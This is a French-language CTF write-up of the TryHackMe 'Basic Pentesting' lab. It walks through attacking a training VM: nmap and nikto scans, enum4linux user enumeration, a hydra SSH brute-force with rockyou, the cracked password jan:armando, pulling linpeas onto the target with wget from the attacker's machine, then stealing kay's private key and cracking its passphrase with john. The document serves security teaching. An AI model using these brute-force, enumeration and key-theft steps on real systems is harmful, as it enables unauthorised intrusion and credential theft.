> For the complete documentation index, see [llms.txt](https://olb.gitbook.io/thm-ctf-write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://olb.gitbook.io/thm-ctf-write-ups/basic-pentesting.md). # Basic Pentesting {% embed url="" %} Lien Gitbook : IP=10.10.57.76 ## Nmap Résultats: * Port 22 SSH open * Port 80 http open -Apache 2.4.18 * Port 139 / 445 samba open * Port 8080 http open –Apache Tomcat/9.0.7 * Port 8009 ajp13 ## Nikto ``` nikto -h 10.10.57.76 ``` Résultat: `+ /development/: Directory indexing found` On se rend sur `/development/` [On lit](#user-content-fn-1)[^1] : [http://10.10.57.76/development/dev.txt
](http://10.10.57.76/development/dev.txt) * User K and user J ? * version 2.5.12 ? Struts ? * SMB (à creuser) On lit aussi : * J a un mdp faible (brute force de J ?) ## Enum4linux On enumère smb/samba (445) avec le script enum4linux ``` enum4linux 10.10.57.76 | tee enum.txt ``` Résultat: * \[+] Enumerating users using SID S-1-22-1 and logon username '', password '' `S-1-22-1-1000 Unix User\kay (Local User)` `S-1-22-1-1001 Unix User\jan (Local User)` Donc désormais: * On a nos user J et K => jan et kay * Jan a un mdp faible donc => brute force via Hydra sur ssh ## Brute force SSH (hydra) ``` hydra -l jan -P /usr/share/wordlists/rockyou.txt 10.10.57.76 ssh -V ```
``` ssh jan@10.10.57.76 ``` `jan:armando` ![](https://lh7-us.googleusercontent.com/_UzGvjexJEu6Fwdvqfv448VoWwGGtob-u75kqd0kWJMYJ0Vzd9YxiPfGOxQR9ALqftD2D0IZjhvlcT7vBrD8dpQOIOQ3AAi5brj7VWDqyvZNpKPlAZ5sEfn7TlQLzyBDONEUyr26MBd4izLLxyR0XA4) ## PrivEsc * sudo –l => pas permis * Fichiers /etc/xxx => pas de permission * SUID/GUID `find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null` \=> RAS Utilisation de[ linpeas](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) pour chercher une élévation de privilège éventuelle ? * Il faut le charger sur la VM cible * Pas d'écriture possible sur `/home/jan` donc on va sur `/tmp`
* On lance un serveur python sur sa Kali
* Et un wget sur la VM cible
On execute `linpeas.sh`
Linpeas nous informe qu'une clé privée est sur le répertoire home de kay !!
On la récupère dans un fichier kay.private et on essaye de se connecter en ssh avec
La clé est partagée par passphrase. On la brute force avec john:
Passphrase:`beeswax` On se connecte en ssh avec la clé RSA de kay et la passphrase:
Flag final dans le répertoire home de kay

[^1]: